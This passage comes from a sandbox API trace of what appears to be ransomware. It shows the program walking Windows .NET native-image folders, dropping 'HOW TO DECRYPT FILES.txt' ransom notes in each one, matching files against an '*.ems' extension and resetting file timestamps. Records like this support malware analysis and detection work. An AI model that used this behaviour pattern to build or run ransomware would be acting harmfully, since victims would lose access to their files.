ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86ebc418, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x24ac00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Extensions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.844] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.844] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.ni.dll") returned -1 [0106.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.ni.dll") returned -1 [0106.844] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.ni.dll") returned -1 [0106.844] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\*.*") returned="*.*" [0106.845] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\" [0106.845] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\") returned="" [0106.845] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\HOW TO DECRYPT FILES.txt" [0106.845] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.extensio#\\70823ac0d6e6631a11d443bf38987cc9\\how to decrypt files.txt")) returned 0xffffffff [0106.845] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.extensio#\\70823ac0d6e6631a11d443bf38987cc9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.848] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.848] CloseHandle (hObject=0x90) returned 1 [0106.848] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\", lpString2="System.Web.Extensions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\System.Web.Extensions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\System.Web.Extensions.ni.dll" [0106.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Extensio#\\70823ac0d6e6631a11d443bf38987cc9\\System.Web.Extensions.ni.dll", pszSpec="*.ems") returned 0 [0106.849] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e23e97, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x86e23e97, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86ebc418, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x24ac00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Extensions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.849] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.849] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86f7aaf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x86f7aaf9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86f7aaf9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="70823ac0d6e6631a11d443bf38987cc9", cAlternateFileName="70823A~1")) returned 0 [0106.849] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.849] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e764016, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e764016, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Mobile", cAlternateFileName="SYSTEM~1.MOB")) returned 1 [0106.849] lstrcmpA (lpString1=".", lpString2="System.Web.Mobile") returned -1 [0106.849] lstrcmpA (lpString1="..", lpString2="System.Web.Mobile") returned -1 [0106.849] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.849] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.Mobile" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile" [0106.850] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e764016, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e764016, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.850] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.850] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e764016, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e764016, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.850] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.851] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.851] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e764016, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e764016, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9abec9ee3dab00d67b395d1994a60776", cAlternateFileName="9ABEC9~1")) returned 1 [0106.851] lstrcmpA (lpString1=".", lpString2="9abec9ee3dab00d67b395d1994a60776") returned -1 [0106.851] lstrcmpA (lpString1="..", lpString2="9abec9ee3dab00d67b395d1994a60776") returned -1 [0106.851] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\*.*") returned="*.*" [0106.851] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\", lpString2="9abec9ee3dab00d67b395d1994a60776" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776" [0106.851] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e764016, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e764016, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.851] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.851] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e764016, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e764016, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.851] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.852] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.852] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e659674, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e659674, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e6cba95, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x21b800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Mobile.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.852] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.852] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Mobile.ni.dll") returned -1 [0106.852] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Mobile.ni.dll") returned -1 [0106.852] lstrcmpiA (lpString1="", lpString2="System.Web.Mobile.ni.dll") returned -1 [0106.852] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\*.*") returned="*.*" [0106.852] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\" [0106.852] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\") returned="" [0106.852] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\HOW TO DECRYPT FILES.txt" [0106.852] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.mobile\\9abec9ee3dab00d67b395d1994a60776\\how to decrypt files.txt")) returned 0xffffffff [0106.852] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.mobile\\9abec9ee3dab00d67b395d1994a60776\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.855] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.855] CloseHandle (hObject=0x90) returned 1 [0106.855] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\", lpString2="System.Web.Mobile.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\System.Web.Mobile.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\System.Web.Mobile.ni.dll" [0106.855] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Mobile\\9abec9ee3dab00d67b395d1994a60776\\System.Web.Mobile.ni.dll", pszSpec="*.ems") returned 0 [0106.855] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e659674, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e659674, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e6cba95, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x21b800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Mobile.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.856] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.856] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e764016, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8e764016, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8e764016, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9abec9ee3dab00d67b395d1994a60776", cAlternateFileName="9ABEC9~1")) returned 0 [0106.856] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.856] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18287017, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18287017, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.RegularE#", cAlternateFileName="SYSTEM~1.REG")) returned 1 [0106.856] lstrcmpA (lpString1=".", lpString2="System.Web.RegularE#") returned -1 [0106.856] lstrcmpA (lpString1="..", lpString2="System.Web.RegularE#") returned -1 [0106.856] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.856] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.RegularE#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#" [0106.856] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18287017, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18287017, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.857] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.857] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18287017, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18287017, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.857] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.857] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.857] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18287017, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18287017, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c72ccbd1fef598dd897fdf0d2e49195b", cAlternateFileName="C72CCB~1")) returned 1 [0106.857] lstrcmpA (lpString1=".", lpString2="c72ccbd1fef598dd897fdf0d2e49195b") returned -1 [0106.857] lstrcmpA (lpString1="..", lpString2="c72ccbd1fef598dd897fdf0d2e49195b") returned -1 [0106.857] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\*.*") returned="*.*" [0106.857] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\", lpString2="c72ccbd1fef598dd897fdf0d2e49195b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b" [0106.858] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18287017, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18287017, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.858] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.858] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18287017, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18287017, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.875] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.875] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.875] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1823ad56, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1823ad56, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18260eb6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x31600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.RegularExpressions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.875] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.875] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0106.875] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0106.875] lstrcmpiA (lpString1="", lpString2="System.Web.RegularExpressions.ni.dll") returned -1 [0106.875] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\*.*") returned="*.*" [0106.875] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\" [0106.876] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\") returned="" [0106.876] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\HOW TO DECRYPT FILES.txt" [0106.876] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.regulare#\\c72ccbd1fef598dd897fdf0d2e49195b\\how to decrypt files.txt")) returned 0xffffffff [0106.876] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.regulare#\\c72ccbd1fef598dd897fdf0d2e49195b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.883] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.883] CloseHandle (hObject=0x90) returned 1 [0106.883] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\", lpString2="System.Web.RegularExpressions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\System.Web.RegularExpressions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\System.Web.RegularExpressions.ni.dll" [0106.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.RegularE#\\c72ccbd1fef598dd897fdf0d2e49195b\\System.Web.RegularExpressions.ni.dll", pszSpec="*.ems") returned 0 [0106.884] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1823ad56, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1823ad56, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x18260eb6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x31600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.RegularExpressions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.884] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.884] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18287017, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18287017, ftLastAccessTime.dwHighDateTime=0x1cb892f, 